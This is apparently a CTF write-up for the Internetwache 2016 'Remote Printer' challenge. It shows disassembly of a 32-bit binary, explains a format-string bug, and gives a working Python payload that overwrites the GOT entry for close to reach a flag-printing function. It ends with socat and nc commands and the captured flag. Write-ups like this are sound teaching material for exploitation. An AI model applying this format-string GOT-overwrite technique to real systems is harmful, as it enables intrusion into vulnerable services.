IW2016 CTF exp80 Remote Printer

@mrexcessive @ WHA

Internetwache 2016 CTF

exp80 Remote Printer


The problem

Description: Printer are very very important for offices.
Especially for remote printing.
My boss told me to build a tool for that task.

Attachment: exp80.zip


32bit C linux program
Pwnable Exploit binary provided no source

The solution

Getting set up: download zip && extract binary && file && objdump -d && strings && readelf

$ file RemotePrinter
../RemotePrinter: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked (uses shared libs), for GNU/Linux 2.6.32,
BuildID[sha1]=0xea9ab23d0eafc41d4e10f7b362859f5275d7a156, stripped

dynamic linked libc

So spend a bit of time reading through the asm produced by objdump.
There is no buffer overflow, input is read into an 8k (0x2000 byte) buffer safely controlled.

However, there is a vulnerable printf(), i.e. where the user input string is passed in as the parameter.
vulnerable printf

 8048844:    83 ec 0c                sub    $0xc,%esp
 8048847:    8d 85 e4 df ff ff       lea    -0x201c(%ebp),%eax
 804884d:    50                      push   %eax                  # user input string directly to
 804884e:    e8 8d fc ff ff          call   80484e0 <printf@plt>  # printf => exploit me(!)
 8048853:    83 c4 10                add    $0x10,%esp
 8048856:    83 ec 0c                sub    $0xc,%esp
 8048859:    ff 75 f4                pushl  -0xc(%ebp)
 804885c:    e8 5f fd ff ff          call   80485c0 <close@plt>
             # we will get control by overwriting GOT.close
 8048861:    83 c4 10                add    $0x10,%esp
 8048864:    90                      nop
 8048865:    c9                      leave  
 8048866:    c3                      ret    

Also, in a friendly manner, the code has a 'win' function which will give us the flag.

 8048867:    55                      push   %ebp
 8048868:    89 e5                   mov    %esp,%ebp
 804886a:    83 ec 48                sub    $0x48,%esp
 804886d:    83 ec 08                sub    $0x8,%esp
 8048870:    68 dc 89 04 08          push   $0x80489dc                   "r"
 8048875:    68 de 89 04 08          push   $0x80489de                   "flag.txt"
 804887a:    e8 e1 fc ff ff          call   8048560 <fopen@plt>
 804887f:    83 c4 10                add    $0x10,%esp
 8048882:    89 45 f4                mov    %eax,-0xc(%ebp)
 8048885:    83 ec 04                sub    $0x4,%esp
 8048888:    ff 75 f4                pushl  -0xc(%ebp)
 804888b:    6a 32                   push   $0x32
 804888d:    8d 45 c2                lea    -0x3e(%ebp),%eax
 8048890:    50                      push   %eax
 8048891:    e8 5a fc ff ff          call   80484f0 <fgets@plt>
 8048896:    83 c4 10                add    $0x10,%esp
 8048899:    83 ec 0c                sub    $0xc,%esp
 804889c:    ff 75 f4                pushl  -0xc(%ebp)
 804889f:    e8 5c fc ff ff          call   8048500 <fclose@plt>
 80488a4:    83 c4 10                add    $0x10,%esp
 80488a7:    83 ec 08                sub    $0x8,%esp
 80488aa:    8d 45 c2                lea    -0x3e(%ebp),%eax
 80488ad:    50                      push   %eax
 80488ae:    68 e7 89 04 08          push   $0x80489e7
 80488b3:    e8 28 fc ff ff          call   80484e0 <printf@plt>
 80488b8:    83 c4 10                add    $0x10,%esp
 80488bb:    90                      nop
 80488bc:    c9                      leave  
 80488bd:    c3                      ret   

So the printf() is called... then close() is called.
Because this program is dynamically linked (as opposed to statically linked with libc distributed with the binary), close() is called via PLT. Which means there is a jump 'through' the GOT.close entry

The PLT for close() looks like this:

080485c0 :
 80485c0:    ff 25 80 9c 04 08       jmp    *0x8049c80
 80485c6:    68 78 00 00 00          push   $0x78
 80485cb:    e9 f0 fe ff ff          jmp    80484c0 <setbuf@plt-0x10>

So all we need to do is modify the contents of 0x08049c80.
Before close@plt has been called for the first time, 0x08049c80 will contain the value 0x080485c6, that's how the dynamic linking works... the routine at 0x80484c0 will then fix-up the correct address using the 0x78 parameter.

So the bytes at 0x08049c80 will be
c6 85 04 08

We only need overwrite WORD at 0x08049c80 with the loword of the GiveFlag: routine, 0x08048867

So the bytes at 0x08049c80 will become
67 88 04 08

So... this challenge is a bit unusual in that we don't send the exploit string directly to the vulnerable server, we have to host the exploit 'service' somewhere and then tell the vuln. server where to find it.

Thanks @Oliver for loan of the instance !

So... got an instance... Now

Some messing around with the vulnerable printf, pulling back stack and lining it up with memory addresses. The program has all security disabled, so no ALSR - which is a good job! because it doesn't maintain a connection for a second attack string - so exfil of stack addresses would be tough.

I do some pointless messing around with parameters for a while, trying to fix addresses... which I do achieve after some pain. But then immediately realise that I don't need it !

Simply send in first 4 bytes as address to write into, which is 0x08049c80, so "\x80\x9c\x04\x80"
Then write the correct WORD value through param 7 using %7$hn

Exploit code below, not too tough in the end, after a bit of unnecessary research into address space.

Got it !

00088c0: 2020 2020 2020 2020 2020 2020 2020 2020                  
00088d0: 2020 2020 20ec 0a0a 5941 592c 2046 4c41       ...YAY, FLA
00088e0: 473a 2049 577b 5956 4f5f 4630 526d 6154  G: IW{YVO_F0RmaT
00088f0: 7433 645f 524d 545f 5072 316e 5433 527d  t3d_RMT_Pr1nT3R}
0008900: 0a0a                                     ..

Correct flag... Result!


Exploit and early testing code:

local script rem.sh to talk with vulnerable server

# IP and port point to the script (below...) hosted somewhere...
(python -c 'print "\n2000\n"';cat) | nc 12377 | xxd

run this script on a host on the internet, give target its IP and port

# upload to cloud instance
# run with 
#    socat TCP-LISTEN:2000,reuseaddr,fork EXEC:./serv.py

import string
import struct

p = lambda x: struct.pack("<L", x)            # from https://gist.github.com/soez/4ee5eb07d4a3982815ad
u = lambda x: struct.unpack('<L', x)[0]

exploit = ""

if False:        # Testing buffer, no overflow found
   exploit = "".join(a+b+c+"0" for a in string.ascii_lowercase for b in string.ascii_uppercase for c in "0123456789")[:0x2000]                     # maximum data size

if False:       # Exfil via vuln printf ...
   for i in xrange(0x7f0,0x840):
      exploit += "%04x  " % i + "%" + "%i" % i + "$p\n"

if False:        # Find input string, goes from param 7
   exploit += "".join(a*4 for a in string.ascii_uppercase)
   for i in xrange(1,31):
      exploit += "%04x  " % i + "%" + "%i" % i + "$p\n"

if True:        # Exploit it
   target_flag = 0x08048867                    # give_flag routine
   target_loword = target_flag & 0xffff        # only need overwrite loword, hiword already correct (0xffff)

   exploit += p(0x08049c80)                 # param 7 to printf is first int,
                                               # put address of GOT.close 
   sofar = len(exploit)
   delta = target_loword - sofar            # calculate padding chars required so %hn will work as reqd.
   exploit += "%" + "%i" % delta + "c"      # pad
   exploit += "%7$hn"                       # write half-word
   exploit += "\n"                            # thassit...

print exploit                    # sends it out - we're using socat to do the sockets